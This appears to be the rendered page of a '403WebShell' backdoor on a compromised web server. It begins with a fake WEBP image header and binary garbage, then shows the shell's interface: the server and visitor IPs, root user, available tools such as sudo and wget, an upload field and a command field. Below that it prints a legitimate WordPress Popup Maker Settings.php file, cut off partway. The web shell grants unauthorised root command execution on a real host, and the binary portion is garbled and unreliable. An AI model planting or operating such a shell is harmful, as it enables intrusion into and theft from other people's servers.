RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/popup-maker/classes/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/popup-maker/classes/Admin/Settings.php
<?php
/**
 * Class for Admin Settings
 *
 * @package   PopupMaker
 * @copyright Copyright (c) 2024, Code Atlantic LLC
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class PUM_Admin_Settings
 */
class PUM_Admin_Settings {

	/**
	 * @var array
	 */
	public static $notices = [];

	/**
	 *
	 */
	public static function init() {
		add_action( 'admin_notices', [ __CLASS__, 'notices' ] );
		add_action( 'admin_init', [ __CLASS__, 'save' ] );
		// add_action( 'pum_license_deactivated', array( __CLASS__, 'license_deactivated' ) );
		// add_action( 'pum_license_check_failed', array( __CLASS__, 'license_deactivated' ) );
	}

	// display default admin notice

	/**
	 * Displays any saved admin notices.
	 */
	public static function notices() {

		if ( isset( $_POST['pum_settings_nonce'] ) && wp_verify_nonce( sanitize_key( wp_unslash( $_POST['pum_settings_nonce'] ) ), 'pum_settings_nonce' ) ) {
			if ( isset( $_GET['success'] ) && get_option( 'pum_settings_admin_notice' ) ) {
				self::$notices[] = [
					// phpcs:ignore WordPress.Security.NonceVerification.Recommended
					'type'    => (bool) $_GET['success'] ? 'success' : 'error',
					'message' => get_option( 'pum_settings_admin_notice' ),
				];

				delete_option( 'pum_settings_admin_notice' );
			}
		}

		if ( ! empty( self::$notices ) ) {
			foreach ( self::$notices as $notice ) { ?>
				<div class="notice notice-<?php echo esc_attr( $notice['type'] ); ?> is-dismissible">
					<p><strong>
					<?php
					// Ignored because this breaks the HTML and the notices are escaped when added to the array.
					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
					echo( $notice['message'] );
					?>
					</strong></p>
					<button type="button" class="notice-dismiss">
						<span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice.', 'popup-maker' ); ?></span>
					</button>
				</div>
				<?php
			}
		}
	}

	/**
	 * Save settings when needed.
	 */
	public static function save() {
		if ( ! empty( $_POST['pum_settings'] ) && empty( $_POST['pum_license_activate'] ) && empty( $_POST['pum_license_deactivate'] ) ) {
			if ( ! isset( $_POST['pum_settings_nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_POST['pum_settings_nonce'] ) ), 'pum_settings_nonce' ) ) {
				return;
			}

			if ( ! current_user_can( 'manage_options' ) ) {
				return;
			}

			// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			$settings = self::sanitize_settings( wp_unslash( $_POST['pum_settings'] ) );

			$settings = apply_filters( 'pum_sanitize_settings', $settings );

			if ( PUM_Utils_Options::update_all( $settings ) ) {
				self::$notices[] = [
					'type'    => 'success',
					'message' => __( 'Settings saved successfully!', 'popup-maker' ),
				];

				do_action( 'pum_save_settings', $settings );
			}

			return;

			/**
			 * Process licensing if set.
			 *
			 * // We store the key in wp_options for use by the update & licensing system to keep things cleanly detached.
			 * $old_license = get_option( 'pum_license_key' );
			 *
			 * if ( empty( $settings['pum_license_key'] ) ) {
			 * delete_option( 'pum_license_key' ); // empty key, remove existing license info.
			 * delete_option( 'pum_license' ); // empty key, remove existing license info.
			 * } else if ( $old_license != $settings['pum_license_key'] ) {
			 * update_option( 'pum_license_key', $settings['pum_license_key'] );
			 * delete_option( 'pum_license' ); // new license has been entered, so must reactivate
			 *
			 * // Prevent additional calls to licensing.
			 * if ( empty( $_POST['pum_license_activate'] ) ) {
			 * $message = PUM_Licensing::activate();
			 *
			 * if ( $message !== true && ! empty ( $message ) ) {
			 * self::$notices[] = array(
			 * 'type'    => 'error',
			 * 'message' => $message,
			 * );
			 * } else {
			 * self::$notices[] = array(
			 * 'type'    => 'success',
			 * 'message' => __( 'License activated successfully!', 'popup-maker' ),
			 * );
			 * }
			 * }
			 * }
			 */
		}
	}

	/**
	 * @param array $settings
	 *
	 * @return array
	 */
	public static function sanitize_settings( $settings = [] ) {

		$fields = self::fields();

		$fields = PUM_Admin_Helpers::flatten_fields_array( $fields );

		foreach ( $fields as $field_id => $field ) {
			switch ( $field['type'] ) {
				case 'checkbox':
					if ( ! isset( $settings[ $field_id ] ) ) {
						$settings[ $field_id ] = false;
					}
					break;
			}
		}

		foreach ( $settings as $key => $value ) {
			$field = self::get_field( $key );

			if ( $field ) {

				// Sanitize every string value.
				if ( is_string( $value ) && ! current_user_can( 'unfiltered_html' ) ) {
					// If current user can't save unfiltered html, strip unsafe tags.
					$value = sanitize_text_field( $value );
					// $value = wp_kses( $settings[ $key ], wp_kses_allowed_html() );
				}

				switch ( $field['type'] ) {
					default:
						$settings[ $key ] = is_string( $value ) ? trim( $value ) : $value;
						break;

					case 'measure':
						$settings[ $key ] .= $settings[ $key . '_unit' ];
						break;

					case 'license_key':
						$old = PUM_Utils_Options::get( $key );
						$new = trim( $value );

						if ( $old && $old !== $new ) {
							delete_option( str_replace( '_license_key', '_license_active', $key ) );
							call_user_func( $field['options']['activation_callback'] );
						}

						$settings[ $key ] = is_string( $value ) ? trim( $value ) : $value;
						// Activate / deactivate license keys maybe?
						break;
				}
			} else {
				// Some custom field types include multiple additional fields that do not need to be saved, strip out any non-whitelisted fields.
				unset( $settings[ $key ] );
			}
		}

		return $settings;
	}

	/**
	 * @param $id
	 *
	 * @return bool
	 */
	public static function get_field( $id ) {
		$tabs = self::fields();

		foreach ( $tabs as $tab => $sections ) {
			if ( PUM_Admin_Helpers::is_field( $sections ) ) {
				$sections = [
					'main' => [
						$tab => $sections,
					],
				];
			}

			foreach ( $sections as $section => $fields ) {
				foreach ( $fields as $key => $args ) {
					if ( $key === $id ) {
						return $args;
					}
				}
			}
		}

		return false;
	}

	/**
	 * Returns array of pum settings fields.
	 *
	 * @return mixed
	 */
	public static function fields() {

		static $fields;

		if ( ! isset( $fields ) ) {
			$fields = [
				'general' => [
					'main' => [
						'default_theme_id'          => [
							'label'        => __( 'Default Popup Theme', 'popup-maker' ),
							'dynamic_desc' => sprintf( '%1$s<br/><a id="edit_theme_link" href="%3$s">%2$s</a>', __( 'Choose the default theme used for new popups', 'popup-maker' ), __( 'Customize This Theme', 'popup-maker' ), admin_url( 'post.php?action=edit&post={{data.value}}' ) ),
							'type'         => 'select',
							'options'      => pum_is_settings_page() ? PUM_Helpers::popup_theme_selectlist() : null,
							'std'          => pum_get_default_theme_id(),
						],
						'gutenberg_support_enabled' => [
							'label' => __( 'Enable Block Editor Support', 'popup-maker' ),
							'desc'  => __( 'Enable experimental support for using the block editor to edit popups.', 'popup-maker' ),
							'type'  => 'checkbox',
						],
						'google_fonts_api_key'      => [
							'type'  => 'text',
							'label' => __( 'Google Fonts API Key *optional', 'popup-maker' ),
							'desc'  => __( 'Enter your own Google Fonts API key to always get the latest fonts available.', 'popup-maker' ),
						],
						'telemetry'                 => [
							'type'  => 'checkbox',
							'label' => __( 'Allow usage tracking?', 'popup-maker' ),
							'desc'  => sprintf(
								/* translators: 1 & 2 are opening and closing HTML of the link around "Learn more" */
								esc_html__( 'Allow data sharing so that we can receive a little information on how it is used and help us make this plugin better? No user data is sent to our servers. No sensitive data is tracked. %1$sLearn more%2$s', 'popup-maker' ),
								' <a target="_blank" rel="noreferrer noopener"  href="https://wppopupmaker.com/docs/policies/the-data-the-popup-maker-plugin-collects/?utm_campaign=contextual-help&utm_medium=inline-doclink&utm_source=settings-page&utm_content=telemetry-setting">',
								'</a>'
							),
						],
					],
				],
			];

			// TODO Remove or move externally of this location later.
			if ( ! ( class_exists( 'PUM_MCI' ) && version_compare( PUM_MCI::$VER, '1.3.0', '<' ) ) ) {
				$fields['subscriptions'] = [
					'main' => apply_filters(
						'pum_newsletter_settings',
						[
							'newsletter_default_provider' => [
								'label'   => __( 'Default Newsletter Provider', 'popup-maker' ),
								'desc'    => __( 'The default mailing provider used for the subscription form.', 'popup-maker' ),
								'type'    => 'select',
								'options' => array_merge(
									PUM_Newsletter_Providers::dropdown_list(),
									[
										'none' => __( 'None', 'popup-maker' ),
									]
								),
							],
							'default_success_message'     => [
								'label' => __( 'Success Message', 'popup-maker' ),
								'desc'  => __( 'Message to show user when successfuly subscribed.', 'popup-maker' ),
								'type'  => 'text',
								'std'   => __( 'You have been subscribed!', 'popup-maker' ),
							],
							'default_empty_email_message' => [
								'label' => __( 'Empty Email Message', 'popup-maker' ),
								'desc'  => __( 'Message to show user when no email is entered.', 'popup-maker' ),
								'type'  => 'text',
								'std'   => __( 'Please enter a valid email.', 'popup-maker' ),
							],
							'default_invalid_email_message' => [
								'label' => __( 'Invalid Email Message', 'popup-maker' ),
								'desc'  => __( 'Message to show user when an invalid email is entered.', 'popup-maker' ),
								'type'  => 'text',
								'std'   => __( 'Email provided is not a valid email address.', 'popup-maker' ),
							],
							'default_error_message'       => [
								'label' => __( 'Error Message', 'popup-maker' ),
								'desc'  => __( 'Message to show user when an error has occurred.', 'popup-maker' ),
								'type'  => 'text',
								'std'   => __( 'Error occurred when subscribing. Please try again.', 'popup-maker' ),
							],
							'default_already_subscribed_message' => [
								'label' => __( 'Already Subscribed Message', 'popup-maker' ),
								'desc'  => __( 'Message to show user who is already subscribed.', 'popup-maker' ),
								'type'  => 'text',
								'std'   => __( 'You are already a subscriber.', 'popup-maker' ),
							],
							'default_consent_required_message' => [
								'label' => __( 'Consent Required Message', 'popup-maker' ),
								'desc'  => __( 'Message to show user who is already subscribed.', 'popup-maker' ),
								'type'  => 'text',
								'std'   => __( 'You must agree to continue.', 'popup-maker' ),
							],
						]
					),
				];
			}

			$fields = array_merge(
				$fields,
				[
					'extensions' => [
						'main' => [],
					],
					'licenses'   => [
						'main' => [],
					],
					'privacy'    => [
						'main'  => [
							'disable_popup_open_tracking' => [
								'type'  => 'checkbox',
								'label' => __( 'Disables popup open tracking?', 'popup-maker' ),
								'desc'  => __( 'This will disable the built in analytics functionality.', 'popup-maker' ),
							],
						],
						'forms' => [
							'forms_disclaimer'             => [
								'type'    => 'html',
								'content' => '<strong>' . __( 'Disclaimer', 'popup-maker' ) . ':</strong> ' . __( 'These settings only pertain to usage of the Popup Maker built in subscription form shortcode, not 3rd party form plugins.', 'popup-maker' ),
							],
							'privacy_consent_always_enabled' => [
								'label'   => __( 'Always enable consent field on subscription forms.', 'popup-maker' ),
								'type'    => 'select',
								'options' => [
									'yes' => __( 'Yes', 'popup-maker' ),
									'no'  => __( 'No', 'popup-maker' ),
								],
								'std'     => 'yes',
							],
							'default_privacy_consent_label' => [
								'label'        => __( 'Consent Text', 'popup-maker' ),
								'type'         => 'text',
								'std'          => __( 'Notify me about related content and special offers.', 'popup-maker' ),
								'dependencies' => [
									'privacy_consent_always_enabled' => 'yes',
								],
							],
							'default_privacy_consent_type' => [
								'label'        => __( 'Consent Field Type', 'popup-maker' ),
								'desc'         => __( 'Radio forces the user to make a choice, often resulting in more opt-ins.', 'popup-maker' ),
								'type'         => 'select',
								'options'      => [
									'radio'    => __( 'Radio', 'popup-maker' ),
									'checkbox' => __( 'Checkbox', 'popup-maker' ),
								],
								'std'          => 'radio',
								'dependencies' => [
									'privacy_consent_always_enabled' => 'yes',
								],
							],
							'default_privacy_consent_required' => [
								'label'        => __( 'Consent Required', 'popup-maker' ),
								'type'         => 'checkbox',
								'std'          => pum_get_option( 'default_privacy_consent_required' ),
								'private'      => true,
								'dependencies' => [
									'privacy_consent_always_enabled' => 'yes',
								],
							],
							'default_privacy_consent_radio_layout' => [
								'label'        => __( 'Consent Radio Layout', 'popup-maker' ),
								'type'         => 'select',
								'options'      => [
									'inline'  => __( 'Inline', 'popup-maker' ),
									'stacked' => __( 'Stacked', 'popup-maker' ),
								],
								'std'          => __( 'Yes', 'popup-maker' ),
								'dependencies' => [
									'privacy_consent_always_enabled' => 'yes',
									'default_privacy_consent_type'   => 'radio',
								],
							],
							'default_privacy_consent_yes_label' => [
								'label'        => __( 'Consent Yes Label', 'popup-maker' ),
								'type'         => 'text',
								'std'          => __( 'Yes', 'popup-maker' ),
								'dependencies' => [
									'privacy_consent_always_enabled' => 'yes',
									'default_privacy_consent_type'   => 'radio',
								],
							],
							'default_privacy_consent_no_label' => [
								'label'        => __( 'Consent No Label', 'popup-maker' ),
								'type'         => 'text',
								'std'          => __( 'No', 'popup-maker' ),
								'dependencies' => [
									'privacy_consent_always_enabled' => 'yes',
									'default_privacy_consent_type'   => 'radio',
								],
							],
							'default_privacy_usage_text'   => [
								'label'        => __( 'Consent Usage Text', 'popup-maker' ),
								'desc'         => function_exists( 'get_privacy_policy_url' ) ? sprintf(
									/* translators: 1. opening tag, 2. closing tag. */
									__( 'You can use %1$s%2$s to insert a link to your privacy policy. To customize the link text use %1$s:Link Text%2$s', 'popup-maker' ),
									'{{privacy_link',
									'}}'
								) : '',
								'type'         => 'text',
								'std'          => __( 'If you opt in above we use this information send related content, discounts and other special offers.', 'popup-maker' ),
								'dependencies' => [
									'privacy_consent_always_enabled' => 'yes',
								],
							],
						],
					],

					'misc'       => [
						'main'   => [

							'bypass_adblockers'          => [
								'label' => __( 'Try to bypass ad blockers.', 'popup-maker' ),
								'type'  => 'checkbox',
							],
							'adblock_bypass_url_method'  => [
								'label'        => __( 'Ad blocker: Naming method', 'popup-maker' ),
								'desc'         => __( 'This will help generate unique names for our JavaScript files and the analytics routes.', 'popup-maker' ),
								'type'         => 'select',
								'options'      => [
									'random' => __( 'Randomize Names', 'popup-maker' ),
									'custom' => __( 'Custom Names', 'popup-maker' ),
								],
								'std'          => 'random',
								'dependencies' => [
									'bypass_adblockers' => true,
								],
							],
							'adblock_bypass_custom_filename' => [
								'type'         => 'text',
								'placeholder'  => 'my-awesome-popups',
								'label'        => __( 'Ad blocker: Custom Name', 'popup-maker' ),
								'desc'         => __( 'A custom & recognizable name to use for our assets.', 'popup-maker' ),
								'dependencies' => [
									'bypass_adblockers' => true,
									'adblock_bypass_url_method' => 'custom',
								],
							],
							'adjust_body_padding'        => [
								'type'  => 'checkbox',
								'label' => __( 'Adjust the right padding added to the body when popups are shown with an overlay.', 'popup-maker' ),
								'desc'  => sprintf(
									/* translators: 1 & 2 are opening and closing HTML of the link around "Learn more" */
